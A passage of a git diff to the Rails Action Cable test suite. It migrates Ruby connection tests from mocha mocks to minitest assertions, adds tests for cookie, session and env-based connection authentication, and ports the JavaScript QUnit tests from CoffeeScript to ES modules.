index bc3ff6a3d79ad..1ab3c3b71d88f 100644
--- a/actioncable/test/connection/client_socket_test.rb
+++ b/actioncable/test/connection/client_socket_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "test_helper"
 require "stubs/test_server"
 
@@ -38,10 +40,11 @@ def on_error(message)
 
       # Internal hax = :(
       client = connection.websocket.send(:websocket)
-      client.instance_variable_get("@stream").expects(:write).raises("foo")
-      client.expects(:client_gone).never
-
-      client.write("boo")
+      client.instance_variable_get("@stream").stub(:write, proc { raise "foo" }) do
+        assert_not_called(client, :client_gone) do
+          client.write("boo")
+        end
+      end
       assert_equal %w[ foo ], connection.errors
     end
   end
@@ -55,7 +58,7 @@ def on_error(message)
       client.instance_variable_get("@stream")
         .instance_variable_get("@rack_hijack_io")
         .define_singleton_method(:close) { event.set }
-      connection.close
+      connection.close(reason: "testing")
       event.wait
     end
   end
@@ -65,9 +68,9 @@ def open_connection
       env = Rack::MockRequest.env_for "/test",
         "HTTP_CONNECTION" => "upgrade", "HTTP_UPGRADE" => "websocket",
         "HTTP_HOST" => "localhost", "HTTP_ORIGIN" => "http://rubyonrails.com"
-      io = \
+      io, client_io = \
         begin
-          Socket.pair(Socket::AF_UNIX, Socket::SOCK_STREAM, 0).first
+          Socket.pair(Socket::AF_UNIX, Socket::SOCK_STREAM, 0)
         rescue
           StringIO.new
         end
@@ -75,6 +78,14 @@ def open_connection
 
       Connection.new(@server, env).tap do |connection|
         connection.process
+        if client_io
+          # Make sure server returns handshake response
+          Timeout.timeout(1) do
+            loop do
+              break if client_io.readline == "\r\n"
+            end
+          end
+        end
         connection.send :handle_open
         assert connection.connected
       end
diff --git a/actioncable/test/connection/cross_site_forgery_test.rb b/actioncable/test/connection/cross_site_forgery_test.rb
index 37bedfd7346a3..3e21138ffc2b7 100644
--- a/actioncable/test/connection/cross_site_forgery_test.rb
+++ b/actioncable/test/connection/cross_site_forgery_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "test_helper"
 require "stubs/test_server"
 
diff --git a/actioncable/test/connection/identifier_test.rb b/actioncable/test/connection/identifier_test.rb
index f3d3bc0603ed0..707f4bab72e83 100644
--- a/actioncable/test/connection/identifier_test.rb
+++ b/actioncable/test/connection/identifier_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "test_helper"
 require "stubs/test_server"
 require "stubs/user"
@@ -16,52 +18,52 @@ def connect
 
   test "connection identifier" do
     run_in_eventmachine do
-      open_connection_with_stubbed_pubsub
+      open_connection
       assert_equal "User#lifo", @connection.connection_identifier
     end
   end
 
   test "should subscribe to internal channel on open and unsubscribe on close" do
     run_in_eventmachine do
-      pubsub = mock("pubsub_adapter")
-      pubsub.expects(:subscribe).with("action_cable/User#lifo", kind_of(Proc))
-      pubsub.expects(:unsubscribe).with("action_cable/User#lifo", kind_of(Proc))
-
       server = TestServer.new
-      server.stubs(:pubsub).returns(pubsub)
 
-      open_connection server: server
+      open_connection(server)
       close_connection
+      wait_for_async
+
+      %w[subscribe unsubscribe].each do |method|
+        pubsub_call = server.pubsub.class.class_variable_get "@@#{method}_called"
+
+        assert_equal "action_cable/User#lifo", pubsub_call[:channel]
+        assert_instance_of Proc, pubsub_call[:callback]
+      end
     end
   end
 
   test "processing disconnect message" do
     run_in_eventmachine do
-      open_connection_with_stubbed_pubsub
+      open_connection
 
-      @connection.websocket.expects(:close)
-      @connection.process_internal_message "type" => "disconnect"
+      assert_called(@connection.websocket, :close) do
+        @connection.process_internal_message "type" => "disconnect"
+      end
     end
   end
 
   test "processing invalid message" do
     run_in_eventmachine do
-      open_connection_with_stubbed_pubsub
+      open_connection
 
-      @connection.websocket.expects(:close).never
-      @connection.process_internal_message "type" => "unknown"
+      assert_not_called(@connection.websocket, :close) do
+        @connection.process_internal_message "type" => "unknown"
+      end
     end
   end
 
   private
-    def open_connection_with_stubbed_pubsub
-      server = TestServer.new
-      server.stubs(:adapter).returns(stub_everything("adapter"))
-
-      open_connection server: server
-    end
+    def open_connection(server = nil)
+      server ||= TestServer.new
 
-    def open_connection(server:)
       env = Rack::MockRequest.env_for "/test", "HTTP_HOST" => "localhost", "HTTP_CONNECTION" => "upgrade", "HTTP_UPGRADE" => "websocket"
       @connection = Connection.new(server, env)
 
diff --git a/actioncable/test/connection/multiple_identifiers_test.rb b/actioncable/test/connection/multiple_identifiers_test.rb
index ca1a08f4d63bc..51716410b2dc6 100644
--- a/actioncable/test/connection/multiple_identifiers_test.rb
+++ b/actioncable/test/connection/multiple_identifiers_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "test_helper"
 require "stubs/test_server"
 require "stubs/user"
@@ -14,28 +16,19 @@ def connect
 
   test "multiple connection identifiers" do
     run_in_eventmachine do
-      open_connection_with_stubbed_pubsub
+      open_connection
+
       assert_equal "Room#my-room:User#lifo", @connection.connection_identifier
     end
   end
 
   private
-    def open_connection_with_stubbed_pubsub
+    def open_connection
       server = TestServer.new
-      server.stubs(:pubsub).returns(stub_everything("pubsub"))
-
-      open_connection server: server
-    end
-
-    def open_connection(server:)
       env = Rack::MockRequest.env_for "/test", "HTTP_HOST" => "localhost", "HTTP_CONNECTION" => "upgrade", "HTTP_UPGRADE" => "websocket"
       @connection = Connection.new(server, env)
 
       @connection.process
       @connection.send :handle_open
     end
-
-    def close_connection
-      @connection.send :handle_close
-    end
 end
diff --git a/actioncable/test/connection/stream_test.rb b/actioncable/test/connection/stream_test.rb
index 36e1d3c095ce9..c579f1cd683c7 100644
--- a/actioncable/test/connection/stream_test.rb
+++ b/actioncable/test/connection/stream_test.rb
@@ -1,4 +1,7 @@
+# frozen_string_literal: true
+
 require "test_helper"
+require "minitest/mock"
 require "stubs/test_server"
 
 class ActionCable::Connection::StreamTest < ActionCable::TestCase
@@ -35,25 +38,27 @@ def on_error(message)
   [ EOFError, Errno::ECONNRESET ].each do |closed_exception|
     test "closes socket on #{closed_exception}" do
       run_in_eventmachine do
-        connection = open_connection
+        rack_hijack_io = File.open(File::NULL, "w")
+        connection = open_connection(rack_hijack_io)
 
         # Internal hax = :(
         client = connection.websocket.send(:websocket)
-        client.instance_variable_get("@stream").instance_variable_get("@rack_hijack_io").expects(:write).raises(closed_exception, "foo")
-        client.expects(:client_gone)
-
-        client.write("boo")
+        rack_hijack_io.stub(:write_nonblock, proc { raise(closed_exception, "foo") }) do
+          assert_called(client, :client_gone) do
+            client.write("boo")
+          end
+        end
         assert_equal [], connection.errors
       end
     end
   end
 
   private
-    def open_connection
+    def open_connection(io)
       env = Rack::MockRequest.env_for "/test",
         "HTTP_CONNECTION" => "upgrade", "HTTP_UPGRADE" => "websocket",
         "HTTP_HOST" => "localhost", "HTTP_ORIGIN" => "http://rubyonrails.com"
-      env["rack.hijack"] = -> { env["rack.hijack_io"] = StringIO.new }
+      env["rack.hijack"] = -> { env["rack.hijack_io"] = io }
 
       Connection.new(@server, env).tap do |connection|
         connection.process
diff --git a/actioncable/test/connection/string_identifier_test.rb b/actioncable/test/connection/string_identifier_test.rb
index 6d53e249cb929..f7019b926aef5 100644
--- a/actioncable/test/connection/string_identifier_test.rb
+++ b/actioncable/test/connection/string_identifier_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "test_helper"
 require "stubs/test_server"
 
@@ -16,28 +18,19 @@ def send_async(method, *args)
 
   test "connection identifier" do
     run_in_eventmachine do
-      open_connection_with_stubbed_pubsub
+      open_connection
+
       assert_equal "random-string", @connection.connection_identifier
     end
   end
 
   private
-    def open_connection_with_stubbed_pubsub
-      @server = TestServer.new
-      @server.stubs(:pubsub).returns(stub_everything("pubsub"))
-
-      open_connection
-    end
-
     def open_connection
+      server = TestServer.new
       env = Rack::MockRequest.env_for "/test", "HTTP_HOST" => "localhost", "HTTP_CONNECTION" => "upgrade", "HTTP_UPGRADE" => "websocket"
-      @connection = Connection.new(@server, env)
+      @connection = Connection.new(server, env)
 
       @connection.process
       @connection.send :on_open
     end
-
-    def close_connection
-      @connection.send :on_close
-    end
 end
diff --git a/actioncable/test/connection/subscriptions_test.rb b/actioncable/test/connection/subscriptions_test.rb
index a1c8a4613c4d5..0af3d1be2f9f7 100644
--- a/actioncable/test/connection/subscriptions_test.rb
+++ b/actioncable/test/connection/subscriptions_test.rb
@@ -1,12 +1,27 @@
+# frozen_string_literal: true
+
 require "test_helper"
 
 class ActionCable::Connection::SubscriptionsTest < ActionCable::TestCase
+  class ChatChannelError < Exception; end
+
   class Connection < ActionCable::Connection::Base
-    attr_reader :websocket
+    attr_reader :websocket, :exceptions
+
+    rescue_from ChatChannelError, with: :error_handler
+
+    def initialize(*)
+      super
+      @exceptions = []
+    end
 
     def send_async(method, *args)
       send method, *args
     end
+
+    def error_handler(e)
+      @exceptions << e
+    end
   end
 
   class ChatChannel < ActionCable::Channel::Base
@@ -20,6 +35,10 @@ def subscribed
     def speak(data)
       @lines << data
     end
+
+    def throw_exception(_data)
+      raise ChatChannelError.new("Uh Oh")
+    end
   end
 
   setup do
@@ -43,7 +62,18 @@ def speak(data)
       setup_connection
 
       @subscriptions.execute_command "command" => "subscribe"
-      assert @subscriptions.identifiers.empty?
+      assert_empty @subscriptions.identifiers
+    end
+  end
+
+  test "subscribe command with Base channel" do
+    run_in_eventmachine do
+      setup_connection
+
+      identifier = ActiveSupport::JSON.encode(id: 1, channel: "ActionCable::Channel::Base")
+      @subscriptions.execute_command "command" => "subscribe", "identifier" => identifier
+
+      assert_empty @subscriptions.identifiers
     end
   end
 
@@ -53,10 +83,12 @@ def speak(data)
       subscribe_to_chat_channel
 
       channel = subscribe_to_chat_channel
-      channel.expects(:unsubscribe_from_channel)
 
-      @subscriptions.execute_command "command" => "unsubscribe", "identifier" => @chat_identifier
-      assert @subscriptions.identifiers.empty?
+      assert_called(channel, :unsubscribe_from_channel) do
+        @subscriptions.execute_command "command" => "unsubscribe", "identifier" => @chat_identifier
+      end
+
+      assert_empty @subscriptions.identifiers
     end
   end
 
@@ -65,7 +97,7 @@ def speak(data)
       setup_connection
 
       @subscriptions.execute_command "command" => "unsubscribe"
-      assert @subscriptions.identifiers.empty?
+      assert_empty @subscriptions.identifiers
     end
   end
 
@@ -81,6 +113,19 @@ def speak(data)
     end
   end
 
+  test "accessing exceptions thrown during command execution" do
+    run_in_eventmachine do
+      setup_connection
+      subscribe_to_chat_channel
+
+      data = { "content" => "Hello World!", "action" => "throw_exception" }
+      @subscriptions.execute_command "command" => "message", "identifier" => @chat_identifier, "data" => ActiveSupport::JSON.encode(data)
+
+      exception = @connection.exceptions.first
+      assert_kind_of ChatChannelError, exception
+    end
+  end
+
   test "unsubscribe from all" do
     run_in_eventmachine do
       setup_connection
@@ -90,10 +135,11 @@ def speak(data)
       channel2_id = ActiveSupport::JSON.encode(id: 2, channel: "ActionCable::Connection::SubscriptionsTest::ChatChannel")
       channel2 = subscribe_to_chat_channel(channel2_id)
 
-      channel1.expects(:unsubscribe_from_channel)
-      channel2.expects(:unsubscribe_from_channel)
-
-      @subscriptions.unsubscribe_from_all
+      assert_called(channel1, :unsubscribe_from_channel) do
+        assert_called(channel2, :unsubscribe_from_channel) do
+          @subscriptions.unsubscribe_from_all
+        end
+      end
     end
   end
 
diff --git a/actioncable/test/connection/test_case_test.rb b/actioncable/test/connection/test_case_test.rb
new file mode 100644
index 0000000000000..7852fdeca7d01
--- /dev/null
+++ b/actioncable/test/connection/test_case_test.rb
@@ -0,0 +1,213 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class SimpleConnection < ActionCable::Connection::Base
+  identified_by :user_id
+
+  class << self
+    attr_accessor :disconnected_user_id
+  end
+
+  def connect
+    self.user_id = request.params[:user_id] || cookies[:user_id]
+  end
+
+  def disconnect
+    self.class.disconnected_user_id = user_id
+  end
+end
+
+class ConnectionSimpleTest < ActionCable::Connection::TestCase
+  tests SimpleConnection
+
+  def test_connected
+    connect
+
+    assert_nil connection.user_id
+  end
+
+  def test_url_params
+    connect "/cable?user_id=323"
+
+    assert_equal "323", connection.user_id
+  end
+
+  def test_params
+    connect params: { user_id: 323 }
+
+    assert_equal "323", connection.user_id
+  end
+
+  def test_plain_cookie
+    cookies["user_id"] = "456"
+
+    connect
+
+    assert_equal "456", connection.user_id
+  end
+
+  def test_plain_cookie_with_explicit_value_and_string_key
+    cookies["user_id"] = { "value" => "456" }
+
+    connect
+
+    assert_equal "456", connection.user_id
+  end
+
+  def test_disconnect
+    cookies["user_id"] = "456"
+
+    connect
+
+    assert_equal "456", connection.user_id
+
+    disconnect
+
+    assert_equal "456", SimpleConnection.disconnected_user_id
+  end
+end
+
+class Connection < ActionCable::Connection::Base
+  identified_by :current_user_id
+  identified_by :token
+
+  class << self
+    attr_accessor :disconnected_user_id
+  end
+
+  def connect
+    self.current_user_id = verify_user
+    self.token = request.headers["X-API-TOKEN"]
+    logger.add_tags("ActionCable")
+  end
+
+  private
+    def verify_user
+      cookies.signed[:user_id].presence || reject_unauthorized_connection
+    end
+end
+
+class ConnectionTest < ActionCable::Connection::TestCase
+  def test_connected_with_signed_cookies_and_headers
+    cookies.signed["user_id"] = "456"
+
+    connect headers: { "X-API-TOKEN" => "abc" }
+
+    assert_equal "abc", connection.token
+    assert_equal "456", connection.current_user_id
+  end
+
+  def test_connected_when_no_signed_cookies_set
+    cookies["user_id"] = "456"
+
+    assert_reject_connection { connect }
+  end
+
+  def test_connection_rejected
+    assert_reject_connection { connect }
+  end
+
+  def test_connection_rejected_assertion_message
+    error = assert_raises Minitest::Assertion do
+      assert_reject_connection { "Intentionally doesn't connect." }
+    end
+
+    assert_match(/Expected to reject connection/, error.message)
+  end
+end
+
+class EncryptedCookiesConnection < ActionCable::Connection::Base
+  identified_by :user_id
+
+  def connect
+    self.user_id = verify_user
+  end
+
+  private
+    def verify_user
+      cookies.encrypted[:user_id].presence || reject_unauthorized_connection
+    end
+end
+
+class EncryptedCookiesConnectionTest < ActionCable::Connection::TestCase
+  tests EncryptedCookiesConnection
+
+  def test_connected_with_encrypted_cookies
+    cookies.encrypted["user_id"] = "456"
+
+    connect
+
+    assert_equal "456", connection.user_id
+  end
+
+  def test_connected_with_encrypted_cookies_with_explicit_value_and_symbol_key
+    cookies.encrypted["user_id"] = { value: "456" }
+
+    connect
+
+    assert_equal "456", connection.user_id
+  end
+
+  def test_connection_rejected
+    assert_reject_connection { connect }
+  end
+end
+
+class SessionConnection < ActionCable::Connection::Base
+  identified_by :user_id
+
+  def connect
+    self.user_id = verify_user
+  end
+
+  private
+    def verify_user
+      request.session[:user_id].presence || reject_unauthorized_connection
+    end
+end
+
+class SessionConnectionTest < ActionCable::Connection::TestCase
+  tests SessionConnection
+
+  def test_connected_with_encrypted_cookies
+    connect session: { user_id: "789" }
+    assert_equal "789", connection.user_id
+  end
+
+  def test_connection_rejected
+    assert_reject_connection { connect }
+  end
+end
+
+class EnvConnection < ActionCable::Connection::Base
+  identified_by :user
+
+  def connect
+    self.user = verify_user
+  end
+
+  private
+    def verify_user
+      # Warden-like authentication
+      env["authenticator"]&.user || reject_unauthorized_connection
+    end
+end
+
+class EnvConnectionTest < ActionCable::Connection::TestCase
+  tests EnvConnection
+
+  def test_connected_with_env
+    authenticator = Class.new do
+      def user; "David"; end
+    end
+
+    connect env: { "authenticator" => authenticator.new }
+
+    assert_equal "David", connection.user
+  end
+
+  def test_connection_rejected
+    assert_reject_connection { connect }
+  end
+end
diff --git a/actioncable/test/javascript/src/test.coffee b/actioncable/test/javascript/src/test.coffee
deleted file mode 100644
index eb95fb2604efb..0000000000000
--- a/actioncable/test/javascript/src/test.coffee
+++ /dev/null
@@ -1,3 +0,0 @@
-#= require action_cable
-#= require ./test_helpers
-#= require_tree ./unit
diff --git a/actioncable/test/javascript/src/test.js b/actioncable/test/javascript/src/test.js
new file mode 100644
index 0000000000000..938f71a2fa3a2
--- /dev/null
+++ b/actioncable/test/javascript/src/test.js
@@ -0,0 +1,8 @@
+import "./test_helpers/index"
+import "./unit/action_cable_test"
+import "./unit/connection_test"
+import "./unit/connection_monitor_test"
+import "./unit/consumer_test"
+import "./unit/subscription_test"
+import "./unit/subscriptions_test"
+import "./unit/subscription_guarantor_test"
diff --git a/actioncable/test/javascript/src/test_helpers/consumer_test_helper.coffee b/actioncable/test/javascript/src/test_helpers/consumer_test_helper.coffee
deleted file mode 100644
index a9e95c37f0d4f..0000000000000
--- a/actioncable/test/javascript/src/test_helpers/consumer_test_helper.coffee
+++ /dev/null
@@ -1,47 +0,0 @@
-#= require mock-socket
-
-{TestHelpers} = ActionCable
-
-TestHelpers.consumerTest = (name, options = {}, callback) ->
-  unless callback?
-    callback = options
-    options = {}
-
-  options.url ?= TestHelpers.testURL
-
-  QUnit.test name, (assert) ->
-    doneAsync = assert.async()
-
-    ActionCable.WebSocket = MockWebSocket
-    server = new MockServer options.url
-    consumer = ActionCable.createConsumer(options.url)
-
-    server.on "connection", ->
-      clients = server.clients()
-      assert.equal clients.length, 1
-      assert.equal clients[0].readyState, WebSocket.OPEN
-
-    server.broadcastTo = (subscription, data = {}, callback) ->
-      data.identifier = subscription.identifier
-
-      if data.message_type
-        data.type = ActionCable.INTERNAL.message_types[data.message_type]
-        delete data.message_type
-
-      server.send(JSON.stringify(data))
-      TestHelpers.defer(callback)
-
-    done = ->
-      consumer.disconnect()
-      server.close()
-      doneAsync()
-
-    testData = {assert, consumer, server, done}
-
-    if options.connect is false
-      callback(testData)
-    else
-      server.on "connection", ->
-        testData.client = server.clients()[0]
-        callback(testData)
-      consumer.connect()
diff --git a/actioncable/test/javascript/src/test_helpers/consumer_test_helper.js b/actioncable/test/javascript/src/test_helpers/consumer_test_helper.js
new file mode 100644
index 0000000000000..30e8c277bc999
--- /dev/null
+++ b/actioncable/test/javascript/src/test_helpers/consumer_test_helper.js
@@ -0,0 +1,62 @@
+import { WebSocket as MockWebSocket, Server as MockServer } from "mock-socket"
+import * as ActionCable from "../../../../app/javascript/action_cable/index"
+import {defer, testURL} from "./index"
+
+export default function(name, options, callback) {
+  if (options == null) { options = {} }
+  if (callback == null) {
+    callback = options
+    options = {}
+  }
+
+  if (options.url == null) { options.url = testURL }
+
+  return QUnit.test(name, function(assert) {
+    const doneAsync = assert.async()
+
+    ActionCable.adapters.WebSocket = MockWebSocket
+    const server = new MockServer(options.url)
+    const consumer = ActionCable.createConsumer(options.url)
+    const connection = consumer.connection
+    const monitor = connection.monitor
+
+    if ("subprotocols" in options) consumer.addSubProtocol(options.subprotocols)
+
+    server.on("connection", function() {
+      const clients = server.clients()
+      assert.equal(clients.length, 1)
+      assert.equal(clients[0].readyState, WebSocket.OPEN)
+    })
+
+    server.broadcastTo = function(subscription, data, callback) {
+      if (data == null) { data = {} }
+      data.identifier = subscription.identifier
+
+      if (data.message_type) {
+        data.type = ActionCable.INTERNAL.message_types[data.message_type]
+        delete data.message_type
+      }
+
+      server.send(JSON.stringify(data))
+      defer(callback)
+    }
+
+    const done = function() {
+      consumer.disconnect()
+      server.close()
+      doneAsync()
+    }
+
+    const testData = {assert, consumer, connection, monitor, server, done}
+
+    if (options.connect === false) {
+      callback(testData)
+    } else {
+      server.on("connection", function() {
+        testData.client = server.clients()[0]
+        callback(testData)
+      })
+      consumer.connect()
+    }
+  })
+}
diff --git a/actioncable/test/javascript/src/test_helpers/index.coffee b/actioncable/test/javascript/src/test_helpers/index.coffee
deleted file mode 100644
index c84cbbcb2ca3f..0000000000000
--- a/actioncable/test/javascript/src/test_helpers/index.coffee
+++ /dev/null
@@ -1,11 +0,0 @@
-#= require_self
-#= require_tree .
-
-ActionCable.TestHelpers =
-  testURL: "ws://cable.example.com/"
-
-  defer: (callback) ->
-    setTimeout(callback, 1)
-
-originalWebSocket = ActionCable.WebSocket
-QUnit.testDone -> ActionCable.WebSocket = originalWebSocket
diff --git a/actioncable/test/javascript/src/test_helpers/index.js b/actioncable/test/javascript/src/test_helpers/index.js
new file mode 100644
index 0000000000000..0cd4e260b31e8
--- /dev/null
+++ b/actioncable/test/javascript/src/test_helpers/index.js
@@ -0,0 +1,10 @@
+import * as ActionCable from "../../../../app/javascript/action_cable/index"
+
+export const testURL = "ws://cable.example.com/"
+
+export function defer(callback) {
+  setTimeout(callback, 1)
+}
+
+const originalWebSocket = ActionCable.adapters.WebSocket
+QUnit.testDone(() => ActionCable.adapters.WebSocket = originalWebSocket)
diff --git a/actioncable/test/javascript/src/unit/action_cable_test.coffee b/actioncable/test/javascript/src/unit/action_cable_test.coffee
deleted file mode 100644
index 3944f3a7f6622..0000000000000
--- a/actioncable/test/javascript/src/unit/action_cable_test.coffee
+++ /dev/null
@@ -1,41 +0,0 @@
-{module, test} = QUnit
-{testURL} = ActionCable.TestHelpers
-
-module "ActionCable", ->
-  module "Adapters", ->
-    module "WebSocket", ->
-      test "default is window.WebSocket", (assert) ->
-        assert.equal ActionCable.WebSocket, window.WebSocket
-
-      test "configurable", (assert) ->
-        ActionCable.WebSocket = ""
-        assert.equal ActionCable.WebSocket, ""
-
-    module "logger", ->
-      test "default is window.console", (assert) ->
-        assert.equal ActionCable.logger, window.console
-
-      test "configurable", (assert) ->
-        ActionCable.logger = ""
-        assert.equal ActionCable.logger, ""
-
-  module "#createConsumer", ->
-    test "uses specified URL", (assert) ->
-      consumer = ActionCable.createConsumer(testURL)
-      assert.equal consumer.url, testURL
-
-    test "uses default URL", (assert) ->
-      pattern = ///#{ActionCable.INTERNAL.default_mount_path}$///
-      consumer = ActionCable.createConsumer()
-      assert.ok pattern.test(consumer.url), "Expected #{consumer.url} to match #{pattern}"
-
-    test "uses URL from meta tag", (assert) ->
-      element = document.createElement("meta")
-      element.setAttribute("name", "action-cable-url")
-      element.setAttribute("content", testURL)
-
-      document.head.appendChild(element)
-      consumer = ActionCable.createConsumer()
-      document.head.removeChild(element)
-
-      assert.equal consumer.url, testURL
diff --git a/actioncable/test/javascript/src/unit/action_cable_test.js b/actioncable/test/javascript/src/unit/action_cable_test.js
new file mode 100644
index 0000000000000..017959ab8ca80
--- /dev/null
+++ b/actioncable/test/javascript/src/unit/action_cable_test.js
@@ -0,0 +1,57 @@
+import * as ActionCable from "../../../../app/javascript/action_cable/index"
+import {testURL} from "../test_helpers/index"
+
+const {module, test} = QUnit
+
+module("ActionCable", () => {
+  module("Adapters", () => {
+    module("WebSocket", () => {
+      test("default is WebSocket", assert => {
+        assert.equal(ActionCable.adapters.WebSocket, self.WebSocket)
+      })
+    })
+
+    module("logger", () => {
+      test("default is console", assert => {
+        assert.equal(ActionCable.adapters.logger, self.console)
+      })
+    })
+  })
+
+  module("#createConsumer", () => {
+    test("uses specified URL", assert => {
+      const consumer = ActionCable.createConsumer(testURL)
+      assert.equal(consumer.url, testURL)
+    })
+
+    test("uses default URL", assert => {
+      const pattern = new RegExp(`${ActionCable.INTERNAL.default_mount_path}$`)
+      const consumer = ActionCable.createConsumer()
+      assert.ok(pattern.test(consumer.url), `Expected ${consumer.url} to match ${pattern}`)
+    })
+
+    test("uses URL from meta tag", assert => {
+      const element = document.createElement("meta")
+      element.setAttribute("name", "action-cable-url")
+      element.setAttribute("content", testURL)
+
+      document.head.appendChild(element)
+      const consumer = ActionCable.createConsumer()
+      document.head.removeChild(element)
+
+      assert.equal(consumer.url, testURL)
+    })
+
+    test("dynamically computes URL from function", assert => {
+      let dynamicURL = testURL
+      const generateURL = () => {
+        return dynamicURL
+      }
+      const consumer = ActionCable.createConsumer(generateURL)
+      assert.equal(consumer.url, testURL)
+
+      dynamicURL = `${testURL}foo`
+      assert.equal(consumer.url, `${testURL}foo`)
+    })
+  })
+})
diff --git a/actioncable/test/javascript/src/unit/connection_monitor_test.js b/actioncable/test/javascript/src/unit/connection_monitor_test.js
new file mode 100644
index 0000000000000..ac5d92494ec99
--- /dev/null
+++ b/actioncable/test/javascript/src/unit/connection_monitor_test.js
@@ -0,0 +1,68 @@
+import * as ActionCable from "../../../../app/javascript/action_cable/index"
+
+const {module, test} = QUnit
+
+module("ActionCable.ConnectionMonitor", hooks => {
+  let monitor
+  hooks.beforeEach(() => monitor = new ActionCable.ConnectionMonitor({}))
+
+  module("#getPollInterval", hooks => {
+    hooks.beforeEach(() => Math._random = Math.random)
+    hooks.afterEach(() => Math.random = Math._random)
+
+    const { staleThreshold, reconnectionBackoffRate } = ActionCable.ConnectionMonitor
+    const backoffFactor = 1 + reconnectionBackoffRate
+    const ms = 1000
+
+    test("uses exponential backoff", assert => {
+      Math.random = () => 0
+
+      monitor.reconnectAttempts = 0
+      assert.equal(monitor.getPollInterval(), staleThreshold * ms)
+
+      monitor.reconnectAttempts = 1
+      assert.equal(monitor.getPollInterval(), staleThreshold * backoffFactor * ms)
+
+      monitor.reconnectAttempts = 2
+      assert.equal(monitor.getPollInterval(), staleThreshold * backoffFactor * backoffFactor * ms)
+    })
+
+    test("caps exponential backoff after some number of reconnection attempts", assert => {
+      Math.random = () => 0
+      monitor.reconnectAttempts = 42
+      const cappedPollInterval = monitor.getPollInterval()
+
+      monitor.reconnectAttempts = 9001
+      assert.equal(monitor.getPollInterval(), cappedPollInterval)
+    })
+
+    test("uses 100% jitter when 0 reconnection attempts", assert => {
+      Math.random = () => 0
+      assert.equal(monitor.getPollInterval(), staleThreshold * ms)
+
+      Math.random = () => 0.5
+      assert.equal(monitor.getPollInterval(), staleThreshold * 1.5 * ms)
+    })
+
+    test("uses reconnectionBackoffRate for jitter when >0 reconnection attempts", assert => {
+      monitor.reconnectAttempts = 1
+
+      Math.random = () => 0.25
+      assert.equal(monitor.getPollInterval(), staleThreshold * backoffFactor * (1 + reconnectionBackoffRate * 0.25) * ms)
+
+      Math.random = () => 0.5
+      assert.equal(monitor.getPollInterval(), staleThreshold * backoffFactor * (1 + reconnectionBackoffRate * 0.5) * ms)
+    })
+
+    test("applies jitter after capped exponential backoff", assert => {
+      monitor.reconnectAttempts = 9001
+
+      Math.random = () => 0
+      const withoutJitter = monitor.getPollInterval()
+      Math.random = () => 0.5
+      const withJitter = monitor.getPollInterval()
+
+      assert.ok(withJitter > withoutJitter)
+    })
+  })
+})
diff --git a/actioncable/test/javascript/src/unit/connection_test.js b/actioncable/test/javascript/src/unit/connection_test.js
new file mode 100644
index 0000000000000..9b1a975bfb63e
--- /dev/null
+++ b/actioncable/test/javascript/src/unit/connection_test.js
@@ -0,0 +1,28 @@
+import * as ActionCable from "../../../../app/javascript/action_cable/index"
+
+const {module, test} = QUnit
+
+module("ActionCable.Connection", () => {
+  module("#getState", () => {
+    test("uses the configured WebSocket adapter", assert => {
+      ActionCable.adapters.WebSocket = { foo: 1, BAR: "42" }
+      const connection = new ActionCable.Connection({})
+      connection.webSocket = {}
+      connection.webSocket.readyState = 1
+      assert.equal(connection.getState(), "foo")
+      connection.webSocket.readyState = "42"
+      assert.equal(connection.getState(), "bar")
+    })
+  })
+
+  module("#open", () => {
+    test("uses the configured WebSocket adapter", assert => {
+      const FakeWebSocket = function() {}
+      ActionCable.adapters.WebSocket = FakeWebSocket
+      const connection = new ActionCable.Connection({})
+      connection.monitor = { start() {} }
+      connection.open()
+      assert.equal(connection.webSocket instanceof FakeWebSocket, true)
+    })
+  })
+})
diff --git a/actioncable/test/javascript/src/unit/consumer_test.coffee b/actioncable/test/javascript/src/unit/consumer_test.coffee
deleted file mode 100644
index 41445274eba86..0000000000000
--- a/actioncable/test/javascript/src/unit/consumer_test.coffee
+++ /dev/null
@@ -1,14 +0,0 @@
-{module, test} = QUnit
-{consumerTest} = ActionCable.TestHelpers
-
-module "ActionCable.Consumer", ->
-  consumerTest "#connect", connect: false, ({consumer, server, assert, done}) ->
-    server.on "connection", ->
-      assert.equal consumer.connect(), false
-      done()
-
-    consumer.connect()
-
-  consumerTest "#disconnect", ({consumer, client, done}) ->
-    client.addEventListener("close", done)
-    consumer.disconnect()
diff --git a/actioncable/test/javascript/src/unit/consumer_test.js b/actioncable/test/javascript/src/unit/consumer_test.js
new file mode 100644
index 0000000000000..1eba5bbb4471f
--- /dev/null
+++ b/actioncable/test/javascript/src/unit/consumer_test.js
@@ -0,0 +1,27 @@
+import consumerTest from "../test_helpers/consumer_test_helper"
+
+const {module} = QUnit
+
+module("ActionCable.Consumer", () => {
+  consumerTest("#connect", {connect: false}, ({consumer, server, assert, done}) => {
+    server.on("connection", () => {
+      assert.equal(consumer.connect(), false)
+      done()
+    })
+
+    consumer.connect()
+  })
+
+  consumerTest("#disconnect", ({consumer, client, done}) => {
+    client.addEventListener("close", done)
+    consumer.disconnect()
+  })
+
+  consumerTest("#addSubProtocol", {subprotocols: "some subprotocol"}, ({consumer, server, assert, done}) => {
+    server.on("connection", () => {
+      assert.equal(consumer.subprotocols.length, 1)
+      assert.equal(consumer.subprotocols[0], "some subprotocol")
+      done()
+    })
+  })
+})
diff --git a/actioncable/test/javascript/src/unit/subscription_guarantor_test.js b/actioncable/test/javascript/src/unit/subscription_guarantor_test.js
new file mode 100644
index 0000000000000..83665344f5d67
--- /dev/null
+++ b/actioncable/test/javascript/src/unit/subscription_guarantor_test.js
@@ -0,0 +1,32 @@
+import * as ActionCable from "../../../../app/javascript/action_cable/index"
+
+const {module, test} = QUnit
+
+module("ActionCable.SubscriptionGuarantor", hooks => {
+  let guarantor
+  hooks.beforeEach(() => guarantor = new ActionCable.SubscriptionGuarantor({}))
+
+  module("#guarantee", () => {
+    test("guarantees subscription only once", assert => {
+      const sub = {}
+
+      assert.equal(guarantor.pendingSubscriptions.length, 0)
+      guarantor.guarantee(sub)
+      assert.equal(guarantor.pendingSubscriptions.length, 1)
+      guarantor.guarantee(sub)
+      assert.equal(guarantor.pendingSubscriptions.length, 1)
+    })
+  }),
+
+  module("#forget", () => {
+    test("removes subscription", assert => {
+      const sub = {}
+
